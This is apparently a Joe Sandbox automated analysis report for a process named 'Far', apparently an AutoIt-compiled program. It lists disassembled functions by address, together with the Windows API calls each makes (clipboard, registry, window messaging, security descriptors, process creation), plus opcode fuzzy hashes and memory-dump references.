Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: 2abb84ec35c37957b176f032e1c43793793925a8d798b8ae27241f7f01f2cae5
Instruction ID: 22bd669306ad215d65a34f361240a60aed7177102c2bc50df25194d6d8a87754
Opcode Fuzzy Hash: 2abb84ec35c37957b176f032e1c43793793925a8d798b8ae27241f7f01f2cae5
Instruction Fuzzy Hash: D5D17032A0864A9AEB54EFB9E8446AC77B1FB44B58F904135DA0E53B94EF3CE444DB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0D1B98 Relevance: 30.2, APIs: 20, Instructions: 169clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00007FF73D0D1BD6
IsClipboardFormatAvailable.USER32 ref: 00007FF73D0D1BE3
GetClipboardData.USER32 ref: 00007FF73D0D1BF5
CloseClipboard.USER32 ref: 00007FF73D0D1C03
GlobalLock.KERNEL32 ref: 00007FF73D0D1C33
CloseClipboard.USER32 ref: 00007FF73D0D1C3E
GlobalUnlock.KERNEL32 ref: 00007FF73D0D1C6E
IsClipboardFormatAvailable.USER32 ref: 00007FF73D0D1C7E
GetClipboardData.USER32 ref: 00007FF73D0D1C8D
GlobalLock.KERNEL32 ref: 00007FF73D0D1CA2
GlobalUnlock.KERNEL32 ref: 00007FF73D0D1CE1
CloseClipboard.USER32 ref: 00007FF73D0D1E28

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Clipboard$Global$Close$AvailableDataFormatLockUnlock$Open
String ID:
API String ID: 3222323430-0
Opcode ID: e10901d8da24730d9a6dcae14f04b19c64a5431aa625291aaa83292bb47a4f16
Instruction ID: a437eaac51eb0964b8540015b0946f31bda286ce40f1a8f98f1c11a13c3c9ddc
Opcode Fuzzy Hash: e10901d8da24730d9a6dcae14f04b19c64a5431aa625291aaa83292bb47a4f16
Instruction Fuzzy Hash: 14718022A0D65BA2EA10BB91D4646BDA3A5FF84F84FC04035D90E07795FF3CE509A761

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0ED908 Relevance: 28.9, APIs: 19, Instructions: 396windowCOMMON

Download Yara Rule

APIs

SetWindowTextW.USER32 ref: 00007FF73D0EDAAA
SendMessageW.USER32 ref: 00007FF73D0EDAC2
SendMessageW.USER32 ref: 00007FF73D0EDAEA
SendMessageW.USER32 ref: 00007FF73D0EDB02
CharNextW.USER32 ref: 00007FF73D0EDB37
SendMessageW.USER32 ref: 00007FF73D0EDB4F
SendMessageW.USER32 ref: 00007FF73D0EDB84
SendMessageW.USER32 ref: 00007FF73D0EDBA5
GetMenuItemInfoW.USER32 ref: 00007FF73D0EDC15
SetMenuItemInfoW.USER32 ref: 00007FF73D0EDC3A
DrawMenuBar.USER32 ref: 00007FF73D0EDC47
SendMessageW.USER32 ref: 00007FF73D0EDC87
InvalidateRect.USER32 ref: 00007FF73D0EDCAC
SetWindowTextW.USER32 ref: 00007FF73D0EDD35
SendMessageW.USER32 ref: 00007FF73D0EDDA5
SendMessageW.USER32 ref: 00007FF73D0EDE17
SendMessageW.USER32 ref: 00007FF73D0EDE71
SendMessageW.USER32 ref: 00007FF73D0EDEF7
SendMessageW.USER32 ref: 00007FF73D0EDF62

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow$CharDrawInvalidateNextRect
String ID:
API String ID: 1015379403-0
Opcode ID: d59f2740a5fe165c0eddc8410e8822d8b588f443ea048eb28575c21a964feb3c
Instruction ID: f9529d3f0e4f727afbe4827b93f3acbbae9f0fe30042d4438f75ae5646be18cf
Opcode Fuzzy Hash: d59f2740a5fe165c0eddc8410e8822d8b588f443ea048eb28575c21a964feb3c
Instruction Fuzzy Hash: 6E02F621A0CA4EA5EB60AFA1A4442FDE361FB48F94F944231D96D07BD4EF7CE545E320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0D3198 Relevance: 27.1, APIs: 18, Instructions: 125COMMON

Download Yara Rule

APIs

LoadCursorW.USER32 ref: 00007FF73D0D31C0
LoadCursorW.USER32 ref: 00007FF73D0D31D1
LoadCursorW.USER32 ref: 00007FF73D0D31E2
LoadCursorW.USER32 ref: 00007FF73D0D31F3
LoadCursorW.USER32 ref: 00007FF73D0D3204
LoadCursorW.USER32 ref: 00007FF73D0D3215
LoadCursorW.USER32 ref: 00007FF73D0D3226
LoadCursorW.USER32 ref: 00007FF73D0D3237
LoadCursorW.USER32 ref: 00007FF73D0D3248
LoadCursorW.USER32 ref: 00007FF73D0D3259
LoadCursorW.USER32 ref: 00007FF73D0D326A
LoadCursorW.USER32 ref: 00007FF73D0D327B
LoadCursorW.USER32 ref: 00007FF73D0D328C
LoadCursorW.USER32 ref: 00007FF73D0D329D
LoadCursorW.USER32 ref: 00007FF73D0D32AE
LoadCursorW.USER32 ref: 00007FF73D0D32BF
GetCursorInfo.USER32 ref: 00007FF73D0D32D4
GetLastError.KERNEL32 ref: 00007FF73D0D3315

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Cursor$Load$ErrorInfoLast
String ID:
API String ID: 3215588206-0
Opcode ID: 7b8d426230f90130869ac4ecfd1476709457171c3f18d1dcb63f08911d224d99
Instruction ID: 88deeca96dedcaa0a656565efff90cdb84dce5c64718bf5403c9821415e38d9d
Opcode Fuzzy Hash: 7b8d426230f90130869ac4ecfd1476709457171c3f18d1dcb63f08911d224d99
Instruction Fuzzy Hash: 53517C72E0DB0696EB44ABB4E4581BD73B6FB48B04F908139DA1E83784EF7CE4169354

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0E1C78 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 388registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32 ref: 00007FF73D0E1D84
RegCreateKeyExW.ADVAPI32 ref: 00007FF73D0E1E18
RegSetValueExW.ADVAPI32 ref: 00007FF73D0E205E
RegSetValueExW.ADVAPI32 ref: 00007FF73D0E21D3
RegCloseKey.ADVAPI32 ref: 00007FF73D0E2206
RegCloseKey.ADVAPI32 ref: 00007FF73D0E2215

Strings

REG_BINARY, xrefs: 00007FF73D0E2174
REG_MULTI_SZ, xrefs: 00007FF73D0E1F84
REG_DWORD, xrefs: 00007FF73D0E20A9
REG_EXPAND_SZ, xrefs: 00007FF73D0E1E87
REG_QWORD, xrefs: 00007FF73D0E211C
REG_SZ, xrefs: 00007FF73D0E1F0F

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: CloseValue$ConnectCreateRegistry
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 3314541760-966354055
Opcode ID: bc557d881706c6ff6ef4aeacd9939feac9973b5b174f5d1b9e1911d64322ee81
Instruction ID: 17450fdf768d0502f5369f3695b9251d36488d39529efc65a7537d99aea49af9
Opcode Fuzzy Hash: bc557d881706c6ff6ef4aeacd9939feac9973b5b174f5d1b9e1911d64322ee81
Instruction Fuzzy Hash: CF02CF62B0CA5AA1EB00EFA6D4946ADB774FF88F88B848032DE0D47756EF38D505D750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0CB5C0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 104fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF73D0CB5F8
FindNextFileW.KERNEL32 ref: 00007FF73D0CB650
FindClose.KERNEL32 ref: 00007FF73D0CB65D
FindClose.KERNEL32 ref: 00007FF73D0CB67B
FindFirstFileW.KERNEL32 ref: 00007FF73D0CB694
SetCurrentDirectoryW.KERNEL32 ref: 00007FF73D0CB6D9
SetCurrentDirectoryW.KERNEL32 ref: 00007FF73D0CB700
FindNextFileW.KERNEL32 ref: 00007FF73D0CB70E
FindClose.KERNEL32 ref: 00007FF73D0CB71D

Part of subcall function 00007FF73D0BD364: CreateFileW.KERNEL32 ref: 00007FF73D0BD399

Strings

*.*, xrefs: 00007FF73D0CB68D

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 2640511053-438819550
Opcode ID: 89c6591a61725b5991b200c03595f766883d22820a3cdc23d78391e0e8d51318
Instruction ID: 35c025bc3372232e1a6c86a83ffc6cb90354170a0ba7d8379fe052e45c5c98cc
Opcode Fuzzy Hash: 89c6591a61725b5991b200c03595f766883d22820a3cdc23d78391e0e8d51318
Instruction Fuzzy Hash: DC417C11A0CA4A61EA11BB91A9846B9E395FB40FE4FD05231DDAD47695FF2CE409E320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0E16E8 Relevance: 16.9, APIs: 11, Instructions: 371registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73D0E229C: CharUpperBuffW.USER32(?,?,?,00000000,?,?,?,00007FF73D0E0F07), ref: 00007FF73D0E22CF

RegConnectRegistryW.ADVAPI32 ref: 00007FF73D0E17EE
RegOpenKeyExW.ADVAPI32 ref: 00007FF73D0E1859
RegCloseKey.ADVAPI32 ref: 00007FF73D0E1880
RegQueryValueExW.ADVAPI32 ref: 00007FF73D0E18D2
RegQueryValueExW.ADVAPI32 ref: 00007FF73D0E1989
RegQueryValueExW.ADVAPI32 ref: 00007FF73D0E19EC
RegQueryValueExW.ADVAPI32 ref: 00007FF73D0E1A93
RegQueryValueExW.ADVAPI32 ref: 00007FF73D0E1AED
RegQueryValueExW.ADVAPI32 ref: 00007FF73D0E1B9E
RegCloseKey.ADVAPI32 ref: 00007FF73D0E1C2A
RegCloseKey.ADVAPI32 ref: 00007FF73D0E1C39

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: QueryValue$Close$BuffCharConnectOpenRegistryUpper
String ID:
API String ID: 3218304859-0
Opcode ID: d4abbca996e788d0262d83e2eb69194a048a595961ff3f6d89ed0cc8bf9cf25c
Instruction ID: e7354ac4d1e1ca4c780f09fbc3ba2c61da519984af4bc6e4d66894238a388845
Opcode Fuzzy Hash: d4abbca996e788d0262d83e2eb69194a048a595961ff3f6d89ed0cc8bf9cf25c
Instruction Fuzzy Hash: 70F1E432B0DA4AA6EB10EFA5D4906BDB3B0EB89F88B804131DE5D47B95EF38D005D750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0AD25C Relevance: 16.7, APIs: 11, Instructions: 166COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73D0AD994: GetUserObjectSecurity.USER32 ref: 00007FF73D0AD9C5
Part of subcall function 00007FF73D0AD994: GetLastError.KERNEL32(?,?,?,?,00000000,00007FF73D0AD2BA), ref: 00007FF73D0AD9D1
Part of subcall function 00007FF73D0AD994: GetUserObjectSecurity.USER32 ref: 00007FF73D0AD9FC

Part of subcall function 00007FF73D0ADA88: InitializeSecurityDescriptor.ADVAPI32(?,?,00000000,00007FF73D0AD2CF), ref: 00007FF73D0ADAAD

GetSecurityDescriptorDacl.ADVAPI32 ref: 00007FF73D0AD2EB
GetAclInformation.ADVAPI32 ref: 00007FF73D0AD325
GetLengthSid.ADVAPI32 ref: 00007FF73D0AD336
GetAce.ADVAPI32 ref: 00007FF73D0AD374
AddAce.ADVAPI32 ref: 00007FF73D0AD39B
GetLengthSid.ADVAPI32 ref: 00007FF73D0AD3B3
GetLengthSid.ADVAPI32 ref: 00007FF73D0AD3D6
CopySid.ADVAPI32 ref: 00007FF73D0AD3E5
AddAce.ADVAPI32 ref: 00007FF73D0AD42B
SetSecurityDescriptorDacl.ADVAPI32 ref: 00007FF73D0AD44E
SetUserObjectSecurity.USER32 ref: 00007FF73D0AD463

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Security$DescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 1255039815-0
Opcode ID: aae9aa80d05344ced36c037d2190bece4b4a1c12275f790b9a8f13c7e355f317
Instruction ID: a289c8afb41e4ab59c8c01fdd9a1290c894778553116de51f8ae33c5424e18d7
Opcode Fuzzy Hash: aae9aa80d05344ced36c037d2190bece4b4a1c12275f790b9a8f13c7e355f317
Instruction Fuzzy Hash: BE61BE22B08656AAEB10EFA1D8445ED77A4FB44F88B944036DE6E57B94FF38E405D330

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0D7D60 Relevance: 15.3, APIs: 10, Instructions: 296fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00007FF73D0D7DA2
CoInitialize.OLE32 ref: 00007FF73D0D7DD0
CoUninitialize.OLE32 ref: 00007FF73D0D7DDB
GetRunningObjectTable.OLE32 ref: 00007FF73D0D7F05
SetErrorMode.KERNEL32 ref: 00007FF73D0D8023
CoGetInstanceFromFile.OLE32 ref: 00007FF73D0D8075
CoGetObject.OLE32 ref: 00007FF73D0D8095
SetErrorMode.KERNEL32 ref: 00007FF73D0D80AD
SetErrorMode.KERNEL32 ref: 00007FF73D0D8147
VariantClear.OLEAUT32 ref: 00007FF73D0D815A

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
String ID:
API String ID: 2395222682-0
Opcode ID: f0a410f9ade6bb1768793df8ba97a0a6cbcfae41610041dc65aa42a30caf5c41
Instruction ID: 6cb1db71bcbda8c4321c558ab0aa75d390d060366c78634f4f15d035b14987dc
Opcode Fuzzy Hash: f0a410f9ade6bb1768793df8ba97a0a6cbcfae41610041dc65aa42a30caf5c41
Instruction Fuzzy Hash: 4FD17037B08B4A96EB10AFA5D4901ADB3B5FB88F88B904436DE4D47B64EF38D445D360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0EB7CC Relevance: 15.2, APIs: 10, Instructions: 174windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(0000001B,?,?,?,?,00000000,?,00007FF73D08BE75), ref: 00007FF73D0EB880
SendMessageW.USER32(?,?,?,?,00000000,?,00007FF73D08BE75), ref: 00007FF73D0EB894
GetWindowLongW.USER32 ref: 00007FF73D0EB8C7
SendMessageW.USER32(?,?,?,?,00000000,?,00007FF73D08BE75), ref: 00007FF73D0EB8F1
SendMessageW.USER32 ref: 00007FF73D0EB982
SendMessageW.USER32 ref: 00007FF73D0EB9D6
SendMessageW.USER32 ref: 00007FF73D0EB9FD
SendMessageW.USER32 ref: 00007FF73D0EBA21
SendMessageW.USER32 ref: 00007FF73D0EBA3E
SendMessageW.USER32 ref: 00007FF73D0EBA62

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: MessageSend$LongWindow
String ID:
API String ID: 312131281-0
Opcode ID: 36d5d91e429a6625e66358aee4667f118106ac2f50f9b97361d3cdf0ccbccb5b
Instruction ID: c57b3805a4b89b721d99a1b7aafd8d4f35258ffa38bd0d45ebdd7e76aed6eaaf
Opcode Fuzzy Hash: 36d5d91e429a6625e66358aee4667f118106ac2f50f9b97361d3cdf0ccbccb5b
Instruction Fuzzy Hash: B771F932609A8A95EB20DFA5E8846ED7760FB89F94F940032DE4D43B64EF7CD186D710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0D1E50 Relevance: 15.1, APIs: 10, Instructions: 86clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00007FF73D0D1E8E
EmptyClipboard.USER32 ref: 00007FF73D0D1E94
GlobalAlloc.KERNEL32 ref: 00007FF73D0D1EAC
CloseClipboard.USER32 ref: 00007FF73D0D1F9E

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: c2ed53e4bf4054b6a44d25e1d3c3cbf9851e75b61d24a28646ffddd4b5def0dd
Instruction ID: b89326568e35b99e1f42b0cfe8fd1a1ef818bff21e4b0e1e28a1c7b78542e41a
Opcode Fuzzy Hash: c2ed53e4bf4054b6a44d25e1d3c3cbf9851e75b61d24a28646ffddd4b5def0dd
Instruction Fuzzy Hash: F0418B62A0C646A6EB04BF92D5A837CB760FF84F85F844435DA4E07352EF7CE0489B61

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0B9AF0 Relevance: 10.6, APIs: 7, Instructions: 145windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00007FF73D0B9B41
GetKeyboardState.USER32 ref: 00007FF73D0B9B55
SetKeyboardState.USER32 ref: 00007FF73D0B9BA4
PostMessageW.USER32 ref: 00007FF73D0B9BD1
PostMessageW.USER32 ref: 00007FF73D0B9BF9
PostMessageW.USER32 ref: 00007FF73D0B9C44
PostMessageW.USER32 ref: 00007FF73D0B9C70

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: f732af45455d5ddc3bccd090c0596ced67c0eacd6538b1bcdc6f4d687803d08c
Instruction ID: 3c909fa3d5ab0b9f4ff79e11e9275025e1ac3760cc14c2c22918789767c70861
Opcode Fuzzy Hash: f732af45455d5ddc3bccd090c0596ced67c0eacd6538b1bcdc6f4d687803d08c
Instruction Fuzzy Hash: 3551EF92A0D2D666F731A7B16140BBDAFA1FB46FC0FC88074DAC907A46DF09E454A331

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0D5D84 Relevance: 9.1, APIs: 6, Instructions: 99COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00007FF73D0D5D9D

Part of subcall function 00007FF73D0D14AC: GetWindowRect.USER32 ref: 00007FF73D0D14C1

GetDesktopWindow.USER32 ref: 00007FF73D0D5DBF
GetWindowRect.USER32 ref: 00007FF73D0D5DCC
mouse_event.USER32 ref: 00007FF73D0D5E12

Part of subcall function 00007FF73D0BE5C8: QueryPerformanceCounter.KERNEL32 ref: 00007FF73D0BE5E1
Part of subcall function 00007FF73D0BE5C8: QueryPerformanceFrequency.KERNEL32 ref: 00007FF73D0BE5F0
Part of subcall function 00007FF73D0BE5C8: Sleep.KERNEL32 ref: 00007FF73D0BE5F8
Part of subcall function 00007FF73D0BE5C8: QueryPerformanceCounter.KERNEL32 ref: 00007FF73D0BE603

GetCursorPos.USER32(?,?), ref: 00007FF73D0D5E46
mouse_event.USER32 ref: 00007FF73D0D5EB3

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Window$PerformanceQuery$CounterRectmouse_event$CursorDesktopForegroundFrequencySleep
String ID:
API String ID: 383626216-0
Opcode ID: e38c60fb0ffe78c3b82c37330e0d499f792121dee8b0809686f0cc8b2a791022
Instruction ID: a2fe384616d88d7b1cc5838a7e56834b43f24c369670aa3b418637026f564a72
Opcode Fuzzy Hash: e38c60fb0ffe78c3b82c37330e0d499f792121dee8b0809686f0cc8b2a791022
Instruction Fuzzy Hash: 6A31C533B092119BE314EFA1D4807EC77A5FB88B08F900235EE0A53A85EF38E945CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0ADF24 Relevance: 9.1, APIs: 6, Instructions: 77processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF73D0ADF0B), ref: 00007FF73D0ADF7F
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,00007FF73D0ADF0B), ref: 00007FF73D0ADF95
CreateEnvironmentBlock.USERENV(?,?,?,?,?,?,?,?,?,?,?,00007FF73D0ADF0B), ref: 00007FF73D0ADFAE
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF73D0ADF0B), ref: 00007FF73D0ADFBE
CreateProcessWithLogonW.ADVAPI32 ref: 00007FF73D0AE02A
DestroyEnvironmentBlock.USERENV ref: 00007FF73D0AE043

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

